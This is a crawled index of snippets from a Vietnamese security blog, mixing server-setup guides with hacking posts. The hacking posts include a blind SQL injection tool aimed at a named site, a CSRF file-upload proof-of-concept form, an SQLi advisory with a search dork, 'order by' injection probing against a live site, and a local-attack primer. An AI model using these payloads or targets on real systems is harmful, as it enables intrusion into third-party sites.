binhduong-ug.blogspot.com
tháng chín 2013 | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013_09_01_archive.html
Hướng dẫn cài đặt các gói rpm trên CD/DVD CentOS sử dụng yum. Ta chỉ cần thực hiện các bước đơn giản sau (đừng quên cho đĩa CentOS vào):. Di chuyển tới thư mục yum.repos.d. Cd /etc/yum.repos.d/. Đổi tên file CentOS-Base.repo thành CentOS-Base.repo.bak (phòng xa):. Mv CentOS-Base.repo CentOS-Base.repo.bak. Dùng trình soạn thảo để thay đổi nội dung file CentOS-Media.repo như sau:. Name = CentOS-$releaserver - Media. File:/ /media/CentOS 5.5 Final/. Việc tiếp theo, ta tiến hành cài đặt thử:. Chúc thành công .
binhduong-ug.blogspot.com
Tool] Quick Blind SQL Injection script | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013/11/tool-quick-blind-sql-injection-script.html
Tool] Quick Blind SQL Injection script. Đây là script được code bằng python…Tự động khai thác dạng sql injection quick blind. Điều kiện: cài python và wget cho python. Gồm 2 class…(thật ra 1 cũng được nhưng để dành phát triển) và 1 hàm main. Các bạn có chỉnh sửa gì cứ mở file main.py ra sửa nha. Inject link = ‘http:/ edu.hiast.edu.vn/index.php? Các bạn có thể đổi thành site xpath bất kỳ với định dạng caigido=sogido (sorry, mới làm được dạng này). Lang man quá, đây là link tải. Vài lời cho các bạn! Http:/...
binhduong-ug.blogspot.com
WordPress Curvo Themes - CSRF File Upload | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013/11/wordpress-curvo-themes-csrf-file-upload.html
WordPress Curvo Themes - CSRF File Upload. Exploit Title: WordPress Curvo Themes CSRF File Upload Vulnerability. Vendor Homepage: http:/ themeforest.net/. Themes Link: http:/ www.wphub.com/themes/curvo-by-themeforest/. Infected File: upload handler.php. Exploit and POC :. Action="http:/ 127.0.0.1/wordpress/wp-content/themes/curvo/functions/upload-handler.php" method="post". Input type="jpg" name="url" value="./" / br /. Please choose a file: input name="uploadfile" type="file" / br /. Vài lời cho các bạn!
binhduong-ug.blogspot.com
MyBB Ajaxfs 2 Plugin - SQL Injection Vulnerability | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013/11/mybb-ajaxfs-2-plugin-sql-injection.html
MyBB Ajaxfs 2 Plugin - SQL Injection Vulnerability. Mybb Ajaxfs Plugin Sql Injection vulnerability. Exploit Title : Mybb Ajaxfs Plugin Sql Injection vulnerability. Author : Iranian Exploit DataBase. Discovered By : IeDb. Email : [email protected] - [email protected]. Home : http:/ iedb.ir. Fb Page : https:/ www.facebook.com/pages/Explo.99266860256538. Software Link : http:/ mods.mybb.com/download/ajax-forum-stat-v-2. Security Risk : High. Tested on : Linux. Dork : inurl:ajaxfs.php. Vài lời cho các bạn!
binhduong-ug.blogspot.com
Cách bảo vệ Admincp của diễn đàn Vbulletin | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013/12/cach-bao-ve-admincp-cua-dien-vbulletin.html
Cách bảo vệ Admincp của diễn đàn Vbulletin. Những việc mà các bạn cần tìm hiểu và làm đó là:. 1 Đổi tên (rename) cho cái thư mục admincp gốc. Của nó thành 1 cái tên khác mà các bạn chắc chắn chỉ có các admin có thể biết. Nhưng không sửa lại path trong file /includes/config.php. Ai không biết rename thì pm sent user pass vps hay host qua inbox ccb Drop dùm cho. 2 Đặt mật khẩu bảo vệ thư mục. 3 Thực hiện 2 bước dưới đây để chống lại việc tìm ra path thật bằng những tính năng có sẵn của Vbulletin. Bằng các...
binhduong-ug.blogspot.com
tháng tám 2013 | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013_08_01_archive.html
Hướng dẫn xây dựng Server chỉ với 1 cú click. Đối với những bạn dùng Managed VPS/Server thì nó đã bao gồm một chương trình quản lý đồ sộ nào đó với tất cả những chức năng bạn cần và đôi khi có cả những chức năng bạn không khi nào dùng tới. Nó có thể là Cpanel, Plesk hay DirectAdmin, có WebUI cực kỳ dễ dàng trong việc quản lý hệ thống. Hơn thế nữa, bạn sẽ phải phụ thuộc vào hệ thống quản lý đó mà không thể tùy biến theo ý thích cá nhân nhiều. Một ví dụ đơn giản như bạn thấy. Nhanh, nhẹ, mạnh mẽ, tiết kiệm?
binhduong-ug.blogspot.com
tháng mười 2012 | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2012_10_01_archive.html
TUT UG (video) tổng hợp dành cho newbie. Tổng hợp bộ sưu tập TUT UG (video) dành cho newbie, anh em newbie có thời gian thì tải về nghiên cứu thử nhé. Http:/ www.mediafire.com/? Được đăng bởi Bình Dương. TUT] - Bảo mật cho Forum vBulletin. Bài viết này Mafia viết thêm dựa trên tài liệu của shacker và một bài viết bằng tiếng Anh viết về bảo mật cho vbb. ok vào đề đi nào! Được đăng bởi Bình Dương. 10 lưu ý bảo mật dữ liệu cho website. Bài này đc a Justom viết bên enhack. Được đăng bởi Bình Dương. Trong trư...
binhduong-ug.blogspot.com
SQL UNHEX --- 403 --- LIMIT. | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013/12/sql-unhex-403-limit.html
SQL UNHEX - - 403 - - LIMIT. SQL UNHEX - - 403 - - LIMIT. Please no modific nothing in this website .only i share it for education only check what u are in and get out . THANKS. Http:/ ibms.co/about.php? Is ok # #. Http:/ ibms.co/about.php? Fatal error: Call to a member function fetch assoc() on a non-object in /home/ibms/public html/module/class.tbl.php on line 45. Http:/ ibms.co/about.php? Pid=34 order by 1- -. Is ok # #. Http:/ ibms.co/about.php? Pid=34 order by 10- -. Is ok # #. Pid=34 order by 20- -.
binhduong-ug.blogspot.com
Cài Đặt Apache2 Với Php5 Và Hỗ Trợ Mysql Trên Ubuntu 11.10 | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013/12/cai-at-apache2-voi-php5-va-ho-tro-mysql.html
Cài Đặt Apache2 Với Php5 Và Hỗ Trợ Mysql Trên Ubuntu 11.10. LAMP là chữ viết tắt thường được dùng để chỉ sự sử dụng các phần mềm Linux, Apache. Và ngôn ngữ văn lệnh PHP hay Perl hay Python để tạo nên một môi trường máy chủ Web có khả năng chứa và phân phối các trang Web động. Bài viết sau sẽ hướng dẫn các bạn cài đặt máy chủ web Apache2 trên Ubuntu. 1110 server với PHP5. Hỗ trợ cho mod php và MySQL. Trong phần minh họa này chúng tôi sử dụng hostname server1.example.com. Để đăng nhập với quyền root. Các c...
binhduong-ug.blogspot.com
tháng mười 2013 | Dương-UG Blog's | Nguyễn Bình Dương
http://binhduong-ug.blogspot.com/2013_10_01_archive.html
Tìm hiểu về Local Attack. I Khái niệm chung. Thông thường, khi host một site lên server. Thì người dùng sẽ được cấp một tài khoản người dùng và một thư mục để quản lý site của mình. Ví dụ tài khoản user1. Được cấp thư mục /home/user1. Để quản lý site của user1. Tương tự như vậy, tài khoản user2. Được cấp thư mục /home/user2. Để quản lý site của user2. Bằng cách nào đó, hacker. Có thể chiếm giữ /home/user2. Và dùng các script. Shell) để truy nhập vào /home/user1. Cách thức tấn công dựa vào các script.